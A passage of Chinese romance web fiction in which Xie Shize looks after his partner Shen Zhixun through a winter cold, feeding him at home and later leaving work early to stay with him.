这两年冬天,谢时泽深刻体会到沈知浔的体质有多差,一整个冬天,他的手脚都是冰凉的,出去吹了风回来就会感冒,一感冒就拖拖拉拉好几天都好不了。 每到天气降温的时候,沈知浔睡觉就会像是藤蔓一样紧紧缠绕着他,恨不得无时无刻都被他抱在怀里。 谢时泽喜欢他的贴近,可每次真切感受到他手脚冰凉程度都不免感到心疼。 反倒是沈知浔的梦游,不知道是有了心理医生的帮助,还是每天跟谢时泽躺在一个被窝里,让他感到了前所未有的安全感,次数渐渐减少了很多。 只剩□□质差这个长年累月困扰他的事。看着好像不是什么大病,但每次一降温谢时泽都恨不得把他当成一个瓷娃娃来对待。 他怀里抱着人,把勺子里的粥吹到温热,喂到沈知浔嘴边。 自从谢时泽意识到沈知浔的体质问题不能忽略后,他便带着沈知浔去医院做了个全身检查,找各种名医,开各种方子来调养身体。 调养身体不是一蹴而就的事情。 但这两年,沈知浔的身体也渐渐比以前好了不少,家里的书房专门有一面墙放着各种药膳的食谱,阿姨每天中午单独给沈知浔做的饭菜都不重样。 他吃下喂到嘴边的粥,咽下去,张口在递粥的那只手上咬了一口,眼睛澄澈透亮,软软的控诉 :“我感冒是因为什么?” 谢时泽由他咬着自己,述说着一个事实 :“我三天没看见你了。” 邻市有个展会,沈知浔也收到邀请函,跟着一些认识的人去看展了,来回时间算下来,连三天都没有。 他毕业以后,拒绝了很多人的招揽,其中不乏一些业内很有名气的人士。自己筹备了一间画室,无论是参加比赛、还是举办画展也好,都有很多人关注。 不少人劝他可以教一教学生,但他暂时还没有这样的想法,也更喜欢无拘无束的生活,反倒在圈子里名声大噪,身价也水涨船高,成为很多人口中的新锐画家。 就因为这“漫长”的分别,昨晚他被抵在浴室的瓷砖上,稍稍抬眼就能看到对面镜子里的自己。 他像艘随波逐流的船一样,眼睛都快哭红了,嘴唇也肿得不像样。 他出了一身汗,整个人又虚弱又疲惫,原本按照这两年调养身体的成果是不应该感冒的,谁知道就那么巧,昨天半夜刮起了大风,降温了。 沈知浔想了想,从谈恋爱以来,他们确实没怎么分开过。 别人会经历的毕业分手、或者事业和爱情发生分歧这些事在他们身上都没有发生。 好像只要随其自然就能在一起很久很久。 沈知浔没忍住,在谢时泽脸颊上亲了一口,他眼睛亮晶晶的,很漂亮,谢时泽微微偏了下头,垂眼凝视着他 :“为什么只亲脸。” “怕把感冒传染给你。”他如是说。 但那双眼睛,和跃跃欲试的表情出卖了他内心的渴望。 有些时候沈知浔也控制不住自己的缠人,没事的时候他就喜欢缩在谢时泽怀里,随便做点什么都行,也不管天气是冷是热。 他怀疑他上辈子可能是猫,而谢时泽上辈子是猫薄荷。 谢时泽低头,细细密密的吻着沈知浔的唇,声音含糊 :“那我亲你,我身体好,不怕感冒。” 这碗粥断断续续才吃完,药也放凉了,刚刚好能入口。 吃了粥喝了药,沈知浔又想睡了,谢时泽把碗筷放进洗碗池里,他把剩下的粥吃了,慢悠悠地系着围裙洗碗,等把一切都做好,才拿着外套出门。 又变回了公司里大家熟悉的,虽然看着不算严厉,但要是真想糊弄他,照样能把你骂得狗血淋头的小谢总 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被谢时泽的助理领着从专属的电梯上去,目不斜视地忽略过周围人惊奇、八卦的眼神,进了谢时泽的办公室。 谢时泽正坐在办公桌后面,看见沈知浔进门,助理出去带上门,他起身走过来,仍然有些讶异,中午才刚分开,摸了摸沈知浔的额头 :“是不是哪里难受了?” 沈知浔摇头,伸手怀抱住谢时泽的腰,不知道是不是生病的人会比平时脆弱一些,他睡醒起来后,看着灯光昏暗、窗帘紧闭的屋子,忽然就生出了一股莫名的孤寂感。 很想立刻见到谢时泽。 他把脑袋埋进谢时泽怀里,像以往无数次一样,感受着他身上传来的他喜欢、让他安心的气息,坦然道 :“我想你了。” 谢时泽觉得心尖都颤了颤。 他干脆把沈知浔拦腰抱起,走到办公桌后面,让他窝在自己怀里,低头在他脑袋柔软的发丝上吻了吻,柔声安抚 :“等我处理完工作,就带你回家好不好?” 生病时人会变得脆弱,他竟然忽视了沈知浔的需求,尽管他们只分开了一个下午的时间,仍然让他觉得是不应该的。 沈知浔缩在他怀里,原本在勾着谢时泽的领带玩,顿了顿 :“你要翘班吗?” 谢时泽嗯了一声,满不在意的语气 :“反正工作是做不完的。” 他弯起唇角,语气很温柔 :“我明天在家里工作,后天也在家里工作,一直到你感冒好都在家里工作陪你。” 他轻易就做出这个决定,知道他爸知道后肯定要说他没出息。 还没毕业他就领着沈知浔去见了他爸妈,两人的关系过了明路,对有可能到来的他爸的批评嗤之以鼻。 放着家里生病的老婆不管才是真正的没出息。 谢时泽就这样抱着沈知浔,处理完桌上的文件,距离下班时间还有一个小时,他叫醒了昏昏欲睡的人。 沈知浔迷迷糊糊地睁眼,还没反应过来身在何处,就看到弯起唇角对他笑的谢时泽。 他的笑容一如既往的灿烂,过来贴了下他的额头,试探体温,语气温柔 :“宝宝,回家咯。”